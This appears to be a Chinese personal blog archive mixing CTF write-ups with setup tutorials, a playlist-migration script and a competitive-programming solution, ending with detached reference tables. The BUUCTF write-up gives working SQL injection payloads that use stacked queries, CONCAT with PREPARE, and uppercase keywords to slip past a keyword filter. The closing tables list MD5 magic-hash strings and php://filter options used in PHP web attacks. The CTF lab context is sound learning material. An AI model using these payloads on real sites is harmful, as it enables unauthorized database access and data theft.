再通过提供的 LongToStr4 即可得到原文：
拼接起来即为 flag：flag{McWebRE_inMlnCrA1t_3a5y_1cIuop9i}。
P.S. 可以通过搜索得到这个算法


BUUCTF [强网杯 2019]随便注
2021-10-18T13:10:35.000Z
学长给我们留的入门题，作为新手的我还是写个题解纪念一下自己的第一道 CTF 题，顺便猜测一下后端的代码。
前置准备
进入靶机，发现已经给我们填充好了 1，直接点提交试试。
响应的 Headers 为：
1
2
3
4
5
6
7
8
Connection: keep-alive
Content-Type: text/html; charset=UTF-8
Date: Thu, 21 Oct 2021 11:42:42 GMT
Keep-Alive: timeout=4
Proxy-Connection: keep-alive
Server: openresty
Transfer-Encoding: chunked
X-Powered-By: PHP/7.3.10
由此可知后台是 PHP 驱动的。
网页回显为：
1
2
3
4
5
6
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
注意到第一个字段的数据类型为 string，猜测为字符型注入，尝试输入 1'，果然报错了，初步判断后端代码应类似 $sql = "select * from table_name where id='".$_GET['id']."';";。构造 payload：1';show databases;#，发现有输出，验证了之前的想法。
得到的数据库列表：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
array(1) {
  [0]=>
  string(11) "ctftraining"
}

array(1) {
  [0]=>
  string(18) "information_schema"
}

array(1) {
  [0]=>
  string(5) "mysql"
}

array(1) {
  [0]=>
  string(18) "performance_schema"
}

array(1) {
  [0]=>
  string(9) "supersqli"
}

array(1) {
  [0]=>
  string(4) "test"
}
绕过关键字过滤
但是想查看当前库名的时候遇到了困难。
我们输入 ';select database();#，网页回显 return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);，说明对输入进行了不区分大小写的关键词正则匹配过滤。
但是我们有预处理！我们可以定义字符串并将其预处理后运行来达到目的。
既然有关键词过滤，我们就把它拆开来，利用 CONCAT 拼接后执行。
于是我们构造以下 payload：';set @s=concat('s','elect database()');prepare st from @s;execute st;#。
结果回显如下：strstr($inject, "set") && strstr($inject, "prepare")。
好家伙，连这个都过检测了。但是转念一想，PHP 中的 strstr 函数是区分大小写的，而 SQL 语句是不区分大小写的，那我岂不是把语句全转为大写即可了？
将 payload 稍加修改：';SET @s=CONCAT('S','ELECT DATABASE()');PREPARE st FROM @s;EXECUTE st;#.
得到当前数据库名称：
1
2
3
4
array(1) {
  [0]=>
  string(9) "supersqli"
}
寻找 FLAG
还记得我们一开始拿到的数据库表吗，里面有个叫 ctftraining 的数据库。
payload：';show tables from ctftraining;#
发现里面有个叫 FLAG_TABLE 的数据表，直觉告诉我 FLAG 一定在里面，胜利就在眼前。
payload：';use ctftraining;SET @s=CONCAT('S','ELECT * FROM FLAG_TABLE');PREPARE st FROM @s;EXECUTE st;#
结果却发现这个表是空的？？
不信邪的我查看了这个库下的所有的表，终于在 news 表下发现了这条信息：
1
2
3
4
5
6
7
8
9
10
11
...
array(4) {
  [0]=>
  string(1) "4"
  [1]=>
  string(4) "flag"
  [2]=>
  string(37) "Flag is in the database but not here."
  [3]=>
  string(10) "1571838684"
}
搞半天结果这里是陷阱？真是吐血。
挨个排查后，发现 FLAG 在最开始默认加载的 supersqli 库里，可谓是“踏破铁鞋无觅处，得来不全费工夫”。
最后的 payload：';SET @s=CONCAT('S','ELECT * FROM `1919810931114514`');PREPARE st FROM @s;EXECUTE st;#
得到的 flag：
1
2
3
4
array(1) {
  [0]=>
  string(42) "flag{d29252e4-78f4-4a9a-a01b-ab2f8a5389fc}"
}



Windows下配置Apache/PHP/MySQL环境
2021-10-18T12:35:23.000Z
要想学习 CTF，就要学很多杂七杂八的东西，相关的环境也是必不可少。
下文将带你一起在 Windows 下配置 Apache/PHP/MySQL 环境。
想省事直接装集成开发环境的朋友可以直接划走。
Apache
官网：https://httpd.apache.org/
选择喜欢的版本，点击 Download，会传送到相应锚点。因为我们是 Windows 下安装环境，所以选择 Files for Microsoft Windows。在 Downloading Apache for Windows 下有很多选项，选择 ApacheHaus 或是 Apache Lounge，而后面都是集成开发环境了。
下载后解压即可，推荐新建一个 Server 文件夹把它扔进去。
打开 Server\Apache24\conf\httpd.conf，找到 Define SRVROOT，将其改为 D:\Server\Apache24。
最后应形如 Define SRVROOT "D:\Server\Apache24"。
执行 httpd -t 检查配置有无语法错误。
建议把 Server\Apache24\bin 放到环境变量里去，可以直接用 httpd。
MySQL
官网：https://www.mysql.com/
找到上方的 DOWNLOADS，然后下拉到最底部，有一个 “MySQL Community (GPL) Downloads »”，找到社区版。（Oracle 公司坏的很，把免费的社区版放那么隐蔽的地方，我找了半天，难怪原作者跑去弄 MariaDB 了）
下载下来的是个 Installer，默认自带了 MySQL8，想要其他版本的可以在里面自行勾选，需要额外下载内容。
里面有些组件需要新版 Microsoft Visual C++ Redistributable 支持，没有的可以点这里去官网下载。
如果没啥需求直接 Next 就行。
PHP
官网：https://www.php.net/
老样子，点击上面的 Downloads，下载后是个压缩包，解压即可，推荐和 Apache 一起扔到 Server 文件夹下面。
P.S. 想用 PHP 编写单代码文件的小伙伴可以把 Server\php 放进环境变量里。
可能会有小伙伴会问为什么上面步骤那么少？因为 PHP 才是串起 Apache 和 MySQL 的关键，接下来需要为它们俩配置 PHP。
Apache
打开 Server\Apache24\conf\httpd.conf，
我们需要加载 PHP，所以找到加载模块的地方（也就是有一串 LoadModule 的地方），在最后加上
1
LoadModule php_module 'D:\Server\php\php8apache2_4.dll'
然后添加名叫 PHPRC 的环境变量，路径设置为 D:\Server\php\。
不推荐使用 PHPIniDir 变量，笔者有时候加载不到 php.ini。
如果想用的话在 httpd.conf 中添加一行 PHPIniDir "D:\Server\php" 即可。
其中路径请自行替换为自己本机的路径，不要照搬。
然后在 mime_module 设置下，添加 AddHandler application/x-httpd-php .php。
最后的内容结构应形如：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

    #
    # TypesConfig points to the file containing the list of mappings from
    # filename extension to MIME-type.
    #
    TypesConfig conf/mime.types

    ...

    #
    # Filters allow you to process content before it is sent to the client.
    #
    # To parse .shtml files for server-side includes (SSI):
    # (You will also need to add "Includes" to the "Options" directive.)
    #
    #AddType text/html .shtml
    #AddOutputFilter INCLUDES .shtml

      AddType application/x-httpd-php .php

最后找到 DirectoryIndex， 在后面添加 index.php，最后应为 DirectoryIndex index.html index.php。
MySQL
将 Server\php 下的 php.ini-development（或是 php.ini-production）复制一份，重命名为 php.ini，打开它。
找到 extension_dir，有个 “On windows”的选项，将其下路径改为绝对路径，以我为例，修改完应为:
extension_dir = "D:\Server\php\ext"。
然后找到 extension=mysqli，将前面的注释去除。
在高版本的 PHP 中，php_mysql.dll 已经被去除了，如果你看过别的教程可能会找不到这个文件。
检查配置
在 Server\Apache24\htdocs 下新建一个内容为  的 index.php，。
命令行运行 httpd，直接打开 http://127.0.0.1/ 或者 http://localhost/ 看有没有加载出网页。
如果没有，说明 Apache 中的 DirectoryIndex 配置错了。
接着看输出的内容，重点检查 Loaded Configuration File 是否正确，然后查看 mysqli 是否加载。
目前主要用到的就只有这些，如果一切正常，那么恭喜你成功了。
如果有什么出入的可以在下面评论留言，我会尽快回复的。


VSCode配置C++环境
2021-09-24T12:42:57.000Z
以下操作适用于学生等非专业群体，并不适合制作专业工程的人
由于疫情的原因，刚刚才到学校。发现有不少小伙伴不知道该怎么配置 C++ 环境并使用 VSCode。没关系，看完这篇文章你就会了。
不了解 VSCode 的小伙伴可以点这里，是我自己个人的一些主观评价，不一定准确。
配置 C++ 环境
笔者使用的是 MinGW64，下面的百度网盘是我以前安装后重新压缩的版本，精简了目录结构，而且无需再次下载，比较推荐。
链接：https://pan.baidu.com/s/1J4qINTwFEFh9jWxPG1s11Q
提取码：njlg
不过好久没用官方的安装版了，现在安装的目录结构是不是还是那么冗余笔者也不了解。
官网链接：https://www.mingw-w64.org/ ，下载自己系统对应版本的安装即可。
如果有什么官方版的问题，可以在评论区留言告诉我，我会尽量解决。
因此以下教程均按照我个人压缩过的版本为准，已经配置好的同学可以直接跳过。
以系统盘为 C 盘为例，将下载好的 MinGW64.7z 放到 C 盘，然后解压。
解压后的目录结构应与下图类似：
之后我们去配置环境变量，环境变量的科普可以自行百度，这里就不再赘述。
适用于较老版本的 Windows10 或者更老版本的 Windows：
控制面板 > 系统和安全 > 系统 > 高级系统设置
适用于新版本的 Windows10：
设置 > 系统 > 关于 > 高级系统设置
然后找到“高级”，有一个环境变量选项，点进去，在 Path 下添加 C:\MinGW64\bin，保存并退出。
最后在任意目录下打开 cmd，输入 g++，出现以下信息便代表你成功了。
1
2
g++.exe: fatal error: no input files
compilation terminated.
安装 VSCode
我们需要下载一个 VSCode，官网：https://code.visualstudio.com/。
安装选项可以选择右键菜单，这样打开会方便一点点，当然不配置一直下一步也是可以的。
打开后依照个人需求选择是否安装语言包。
安装 C/C++ 扩展
在左侧找到扩展，然后搜索 “C/C++”，安装第一个名字就是这个的。
这个扩展的用途是提供代码补全，代码格式化等功能。当然它的用途远不止这些，不过对于我们现在来说掌握这些就够用了。
此步之前请务必保证已经配置好 C++ 环境，该扩展会自动检索已存在的环境并添加头文件。
如果未配置成功，扩展将找不到头文件并报错，需要手动添加，较为麻烦且容易遗漏。
部分电脑出现安装后无法使用的情况（如我一个舍友的笔记本），也没什么关系，缺少代码补全只是让你敲代码的时候稍微难受一点，不是决定性的。
安装 Code Runner 扩展
这个扩展是用来编译执行我们的程序的。
和之前同样的方式安装这个扩展，然后打开 设置 > 扩展 > Run Code configuration ，找到 “Executor Map” 进行配置。
我的配置如下：
1
2
3
"code-runner.executorMap": {
  "cpp": "cd $dir && g++ \"$fileName\" -o \"$fileNameWithoutExt\" -std=c++11 -Wall -Wl,--stack=1000000000 && start cmd /c \"\"$fileNameWithoutExt\" & pause\"",
},
稍微解释一下。
$dir 和 $fileNameWithoutExt 都是 VSCode 自带的变量，$dir 表示当前文件所在的目录，$fileNameWithoutExt 则表示去除后缀的文件名。
&& 连接符需要之前命令不报错才会继续，& 连接符不管之前有无错误都会继续。
g++ 后面跟着的是编译命令，-std=c++11 表示使用 C++11 标准，-Wall 表示打开代码警告。
-Wl,--stack=1000000000 用来申请更多的栈空间，防止递归层数过多爆栈。
配置好以后就可以点击右上角的小箭头来编译运行了。
还有一些设置比如 Ignore Selection 和 Save File Before Run 建议勾选。
前者是给一些解释型语言用的，如果不勾选会出现单独编译选中内容的情况；后者是给运行前忘记保存文件时用的。
不要勾选设置里的 Run In Terminal，可能导致报错。
其他的一些配置就自己摸索吧。才不是想摸鱼了呢


Windows Terminal，高颜值的终端你值得拥有
2020-10-04T02:39:16.000Z
这是一篇本该在暑假就该写的文章，但是由于我是一只鸽子，所以又咕咕咕了，这次趁国庆假期的最后一天填一下坑。
本篇文章将向你介绍微软推出的一款 Windows 下的高颜值终端：Windows Terminal。
强烈建议本文配合 美化你的PowerShell 食用。
The new Windows Terminal and the original Windows console host, all in the same place!
项目主页：https://github.com/microsoft/terminal
很早的时候就看见了微软的这个项目，不过那时候仍然是预览版，所以也没在意。
今年暑假的时候突然想起还有这个项目，去看了一下，好家伙，正式版已经出了 3 个月了，赶紧去下一个尝尝鲜。
应用商店可以直接搜索到。
系统要求为“Windows 10 版本 18362.0 或更高版本”，非 Windows10 读者可以把这个页面关掉了（笑）。
下载
官方最为推荐的是通过 Microsoft Store 下载，官网的文档也只有这个方式。
但是如果你不想这样，当然也可以采取别的方式，具体请参考这个页面。
外观美化
刚下好的终端打开可能没有想象中的那么好看，不过没关系，我们可以美化啊。
配置文件通过标题栏中向下的小箭头中的“设置”打开，注意是 json 格式的，对新手不友好，感觉未来应该会出 GUI 版本的（一口毒奶）。
此外，配置文件保存后终端会自动更新，可以直接看到更改后的效果，因此没必要将终端关闭再打开。
字体
直接参考之前的文章，个人是使用更纱黑体 (Sarasa Term SC) 的。
由于 Pjax 的缘故，记得在新标签页中打开该链接，不过也没多大关系。（笑）
颜色主题
还是熟悉的地方，找到 iTerm2 Color Schemes，点开 windowsterminal 文件夹，找到自己喜欢的主题，将它复制到 settings.json 中。
以 AdventureTime 举个例子，复制全部内容，然后找到 settings.json 中的片段
1
2
3
4
// Add custom color schemes to this array.
// To learn more about color schemes, visit https://aka.ms/terminal-color-schemes
"schemes": [
],
粘贴进去结果如下：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// Add custom color schemes to this array.
// To learn more about color schemes, visit https://aka.ms/terminal-color-schemes
"schemes": [
    {
        "name": "AdventureTime",
        "black": "#050404",
        "red": "#bd0013",
        "green": "#4ab118",
        "yellow": "#e7741e",
        "blue": "#0f4ac6",
        "purple": "#665993",
        "cyan": "#70a598",
        "white": "#f8dcc0",
        "brightBlack": "#4e7cbf",
        "brightRed": "#fc5f5a",
        "brightGreen": "#9eff6e",
        "brightYellow": "#efc11a",
        "brightBlue": "#1997c6",
        "brightPurple": "#9b5953",
        "brightCyan": "#c8faf4",
        "brightWhite": "#f6f5fb",
        "background": "#1f1d45",
        "foreground": "#f8dcc0"
    }
],
最后保存即可。
当然熟悉美术设计的大佬也可以自己配色。
背景
直接上我的配置：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
"list": [
    {
        // Make changes here to the powershell.exe profile.
        "guid": "{61c54bbd-c2c6-5271-96e7-009a87ff44bf}",
        "name": "Windows PowerShell",
        "commandline": "powershell.exe",
        "hidden": false,
        "fontFace": "Sarasa Term SC",
        "colorScheme": "AdventureTime",
        "useAcrylic": true,
        "acrylicOpacity": 0.85,
        "backgroundImage": "D://Pictures/Wallpaper.jpg",
        "backgroundImageOpacity": 0.2
    }
]
fontFace 终端字体；
colorScheme 上文配置的颜色主题，把 name 填进去就行；
useAcrylic 是否启用毛玻璃效果，默认好像是 false；
acrylicOpacity 毛玻璃程度，取值 0 ~ 1；
backgroundImage 终端背景图片；
backgroundImageOpacity 终端背景图片透明度，取值 0 ~ 1；
不同的 shell，可以配置不同的背景，方法同上。
应该还有其他不少配置，详见官网，其他的美化大概也用不到？
话说这个文档机翻痕迹严重，不如直接看英语原版。
文件资源管理器右键打开
在最新版本的 Windows Terminal 中已经集成这项功能了，安装最新版本的可以无视这些内容。
我们可以通过在文件资源管理器的路径栏中输入 wt -d . 来实现在当前文件夹下打开 Windows Terminal 的功能，但这不够舒适，怎么在右键菜单中加入这个命令呢？我们可以借助一位大佬的项目来完成。
使用非常简单，就按着指南来就行。
当然如果你不嫌麻烦，可以自己去修改注册表，参考这篇文章或者是自己去寻找其他资料。
最终成果
辣鸡笔记本，估计要到大学才换。（快了快了）



在电脑上将QQ音乐导入到网易云
2020-05-03T13:34:35.000Z
最近帮一位朋友把 QQ 音乐歌单里的歌曲导入到网易云音乐，虽然手机端有音乐导入的选项，但她似乎觉得不是很好用。
在网上也没有这类的教程，全是把网易云导入到 QQ 音乐的（笑），只好借助别人造好的轮子实现了一个。
链接：https://github.com/sxyugao/QQMusicToNetease
以下是实现过程，不感兴趣的朋友可以不看。
将 QQMusicApi 和 NeteaseCloudMusicApi 克隆到本地，先熟悉一下接口。
节选一段通过 QQMusicApi 获得的 QQ 音乐歌单信息：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
{
  "albumdesc": "",
  "albumid": 1526209,
  "albummid": "0007oL0R1hDyxV",
  "albumname": "君の名は。 (《你的名字。》动画电影原声带)",
  "alertid": 2,
  "belongCD": 21,
  "cdIdx": 0,
  "interval": 243,
  "isonly": 0,
  "label": "4611686018431582240",
  "msgid": 13,
  "pay": {
    "payalbum": 0,
    "payalbumprice": 0,
    "paydownload": 1,
    "payinfo": 1,
    "payplay": 1,
    "paytrackmouth": 1,
    "paytrackprice": 200,
    "timefree": 0
  },
  "preview": { "trybegin": 0, "tryend": 0, "trysize": 960887 },
  "rate": 0,
  "singer": [
    {
      "id": 9962,
      "mid": "000f1b6W1wzyRN",
      "name": "RADWIMPS (ラッドウィンプス)"
    }
  ],
  "size128": 3893085,
  "size320": 9732393,
  "size5_1": 0,
  "sizeape": 0,
  "sizeflac": 38430893,
  "sizeogg": 5040946,
  "songid": 107762026,
  "songmid": "000HHwBt3KESHr",
  "songname": "三葉のテーマ (三叶的主题音乐)",
  "songorig": "三葉のテーマ",
  "songtype": 0,
  "strMediaMid": "000rw7Do2ey9VI",
  "stream": 0,
  "switch": 17401089,
  "type": 0,
  "vid": ""
}
稍微分析一下，便会发现用 songorig 字段去搜索是最为靠谱的。
下面是通过 NeteaseCloudMusicApi 搜索到的歌曲信息：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
{
  "result": {
    "songs": [
      {
        "id": 1406638282,
        "name": "三葉のテーマ",
        "artists": [
          {
            "id": 33288488,
            "name": "屈艳宇",
            "picUrl": null,
            "alias": [],
            "albumSize": 0,
            "picId": 0,
            "img1v1Url": "https://p1.music.126.net/6y-UleORITEDbvrOLV0Q8A==/5639395138885805.jpg",
            "img1v1": 0,
            "trans": null
          }
        ],
        "album": {
          "id": 81755365,
          "name": "Vinky is a cat",
          "artist": {
            "id": 0,
            "name": "",
            "picUrl": null,
            "alias": [],
            "albumSize": 0,
            "picId": 0,
            "img1v1Url": "https://p1.music.126.net/6y-UleORITEDbvrOLV0Q8A==/5639395138885805.jpg",
            "img1v1": 0,
            "trans": null
          },
          "publishTime": 1569142910676,
          "size": 7,
          "copyrightId": 0,
          "status": 0,
          "picId": 109951164380589660,
          "mark": 0
        },
        "duration": 240455,
        "copyrightId": 0,
        "status": 0,
        "alias": [],
        "rtype": 0,
        "ftype": 0,
        "mvid": 0,
        "fee": 8,
        "rUrl": null,
        "mark": 64
      }
    ],
    "hasMore": true,
    "songCount": 74
  },
  "code": 200
}
上面我传的参数是 limit=1，虽然可以发现排在第一位的并不是 QQ 音乐的原曲，但是如果去试听一下就会发现是差不多的，出现这个现象是因为原曲已经变成了付费歌曲。
说起来网易云真是贴心，搜出来的第一个就是穷人版的欸，所以就放心大胆地直接用第一个吧。
因为 NeteaseCloudMusicApi 向歌单添加歌曲的接口 /playlist/tracks 要求传入的是歌曲 id，所以我们到时候传的是 res.result.songs[0].id。
熟悉好接口后我们就可以开始了。
实现思路非常 simple，就是先获取 QQ 音乐歌单里的歌曲，再在网易云音乐搜索相关歌曲，将关联度最高的导入网易云音乐。
说起来简单，可是实际操作起来还是碰上了问题。由于我的 JavaScript 只是半吊子水平，所以最开始碰到异步过程不按顺序执行头痛不已：每次在请求完成之前都会继续执行，完全摸不着头脑。
在我一筹莫展之际，突然想起来 swwind 学长曾带着我这个小萌新做的 user-scripts，他有一次在这个项目里使用了 Promise，还向我推销过这个特性。
那么为什么不试试 Promise 呢？这次我是独立操作，在上网查阅了基本资料后，不禁也和学长当时一样惊呼：“Promise 大法好！”
用了 Promise 后，代码变得简洁易懂多了。
贴一下核心代码：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
const option = {
  headers: {
    'cookie': null
  }
};
const NeteaseAPI = (url) => {
  return new Promise((resolve, reject) => {
    http.get(url, option, (req) => {
      let s = "";
      req.on('data', (data) => {
        s += data;
      });
      req.on('end', () => {
        resolve(JSON.parse(s));
      })
    })
  })
}
使用的时候就可以：
1
2
3
4
NeteaseAPI(request).then((res) => {
  // res 是返回的数据
  // 一些对 res 进行处理的代码
})
实际操作过程中，会出现歌单歌曲数目不一致，但对应的歌曲可以被找到的情况。根据返回的数据看，是由于付费歌曲无法通过这个接口加入歌单。举个例子，登录后传入 http://localhost:3000/playlist/tracks?op=add&pid=803049038&tracks=451703096，返回的信息为：
1
2
3
4
5
6
7
{
  "message":"未付费歌曲无法收藏",
  "trackIds":"[451703096]",
  "code":512,
  "count":190,
  "cloudCount":0
}
对这种情况稍加判断即可。（话说付费歌曲在客户端上是能收藏的，可能还有其他的接口吧）
最后实现的也比较简陋，只能说是勉强能用，就当是练手了。
P.S. 写代码的时候因为判断等于用了 = 调试了很久，学校教 VB 真是害人不浅啊！


洛谷P3914 - 染色计数
2019-11-04T12:41:12.000Z
CSP-S 前要多做树上问题 （主要是因为去年 NOIP D1T3、D2T1、D2T3 全是树上问题，然后爆炸了） 。
这题一看就是树形DP，状态也是一眼就能想到的。
令  $f_{i,j}$  表示  $i$  这个点染成  $j$  的方案数，枚举  $son_i$  的颜色来转移。
最后答案即为  $\sum_{i=1}^{m}f_{1,i}$ 。
核心代码如下：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void dfs(int x, int fa) {
  for (int i = head[x]; i; i = edge[i].nxt) {
    int y = edge[i].to;
    if (y == fa) continue;
    dfs(y, x);
  }
  for (int c : col[x]) {
    for (int i = head[x]; i; i = edge[i].nxt) {
      int y = edge[i].to;
      if (y == fa) continue;
      int sum = 0;
      for (int j : col[y])
        if (j ^ c) Add(sum, f[y][j]);
      f[x][c] = 1LL * f[x][c] * sum % P;
    }
  }
}
统计答案的片段就不放了。
但是冷静分析，这东西是  $O(n^3)$  的，在  $n=5000$  的数据范围下显然过不掉。
通过观察转移方程我们不难发现某个儿子对当前节点某个颜色的贡献完全可以用该儿子的总贡献减去该儿子对这个颜色的贡献来得到。
这样就能优化成  $O(n^2)$  了，貌似能过这道题了？
但是，等等，MLE了？！这道毒瘤题还卡你内存！这都 9102 年了居然还有只开 125M 的题？！其实只是自己菜没看空间限制
所以之前用 vector 存可用颜色的方法就行不通了，只能老老实实从  $1$  到  $m$  枚举。
效率大大降低了，时间换空间的典型案例
完整代码如下：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include 
#include 
using namespace std;
char buf[1 << 14], *p1 = buf, *p2 = buf;
inline char gc() {
  return p1 == p2 && (p2 = (p1 = buf) + fread(buf, 1, 1 << 14, stdin), p1 == p2) ? EOF : *p1++;
}
inline int read() {
  int x = 0, f = 1;
  char c = gc();
  for (; !isdigit(c); c = gc())
    if (c == '-') f = -1;
  for (; isdigit(c); c = gc()) x = x * 10 + c - '0';
  return x * f;
}
const int N = 5005;
const int P = 1e9 + 7;
int nedge, head[N];
struct Edge {
  int to, nxt;
} edge[N << 1];
inline void add(int x, int y) {
  edge[++nedge].to = y;
  edge[nedge].nxt = head[x];
  head[x] = nedge;
}
inline void Add(int &x, int y) {
  x = x + y >= P ? x + y - P : x + y;
}
inline int Dec(int x, int y) {
  x -= y;
  if (x < 0) x += P;
  return x;
}
int n, m, f[N][N];
void dfs(int x, int fa) {
  for (int i = head[x]; i; i = edge[i].nxt) {
    int y = edge[i].to;
    if (y == fa) continue;
    dfs(y, x);
    int sum = 0;
    for (int c = 1; c <= m; c++)
      if (f[y][c]) Add(sum, f[y][c]);
    for (int c = 1; c <= m; c++)
      if (f[x][c]) f[x][c] = 1LL * f[x][c] * Dec(sum, f[y][c]) % P;
  }
}
int main() {
  n = read(), m = read();
  for (int i = 1; i <= n; i++)
    for (int num = read(); num; num--) f[i][read()] = 1;
  for (int i = 1; i < n; i++) {
    int x = read(), y = read();
    add(x, y), add(y, x);
  }
  dfs(1, 0);
  int ans = 0;
  for (int c = 1; c <= m; c++) Add(ans, f[1][c]);
  printf("%d", ans);
}

字符串	md5值
byGcY	0e591948146966052067035298880982
sonZ7y	0e463306343746311593316642162425
QNKCDZO	0e830400451993494058024219903391
240610708	0e462097431906509019562988736854
s878926199a	0e545993274517709034328855841020
s155964671a	0e342768416822451524974117254469
s214587387a	0e848240448830537924465865611904
s1665632922a	0e731198061491163073197128363787
s1836677006a	0e481036490867661113260034900752

字母标识	数据类型
a	array
b	boolean
d	double
i	integer
o	common object
r	reference
s	string
S	escaped binary string
C	custom object
O	class
N	null
R	pointer reference
U	unicode string

php://filter 参数	描述
resource=<要过滤的数据流>	这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表>	该参数可选。可以设定一个或多个过滤器名称，以管道符（\|）分隔。
write=<写链的筛选列表>	该参数可选。可以设定一个或多个过滤器名称，以管道符（\|）分隔。
<；两个链的筛选列表>	任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。

字符串过滤器	作用
string.rot13	等同于str_rot13()，rot13变换
string.toupper	等同于strtoupper()，转大写字母
string.tolower	等同于strtolower()，转小写字母

转换过滤器	作用
convert.base64-encode	等同于 base64_encode()，base64编码
convert.base64-decode	等同于 base64_decode()，base64解码